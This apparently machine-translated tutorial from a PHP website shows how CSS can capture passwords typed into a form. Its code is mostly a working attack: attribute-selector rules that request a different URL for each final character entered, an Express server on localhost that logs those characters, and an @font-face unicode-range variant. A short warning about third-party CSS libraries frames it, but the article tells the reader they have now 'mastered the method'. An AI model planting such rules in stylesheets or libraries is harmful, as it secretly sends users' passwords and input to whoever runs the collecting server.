How to use CSS settings to record user passwords

This time I will show you how to use CSS to set and record user passwords, and what are the precautions for using CSS to set and record user passwords. The following is a practical case, let's take a look.

Simple CSS code does not even conform to a Turing-complete language, but it can also become a tool for some attackers. Here is a brief introduction on how to use CSS to record user passwords. However, these CSS scripts will appear in third-party CSS libraries, so you need to be careful when using third-party CSS libraries to ensure code security. Direct code analysis:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

The above is part of the code, let’s analyze the CSS code

input[type="password"] is the css selector , its function is to select the password input box, [value$="0"] means that the matching input value ends with 0. So:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

The meaning of the above code is that if you enter 0 in the

password box, you will request the http://localhost:3000/0 interface, but the browser defaults to The value entered by the user will not be stored in the value attribute, but some frameworks will synchronize these values, such as React.

So as long as you use the script as shown below, you can store the user's input data information.

Let’s take a look at the server-side code:

const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});
app.listen(3000, () => console.log("启动，监听3000端口"));

Use express to create a server and listen to port 3000. Just request http://localhost:3000/: key, the value of the key can be output, and the input value can be recorded on the server. So as long as every input value matches, and then requests a prepared interface through background-image, the user's input can be recorded. A similar method is used to record the CSS code of user content @font-face {

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

I believe you have mastered the method after reading the case in this article. For more exciting content, please pay attention to other related articles on the PHP Chinese website!

Recommended reading:

h5 implements multi-image preview upload and click-to-drag controls

S5 allows layered screen adaptation

The above is the detailed content of How to use CSS settings to record user passwords. For more information, please follow other related articles on the PHP Chinese website!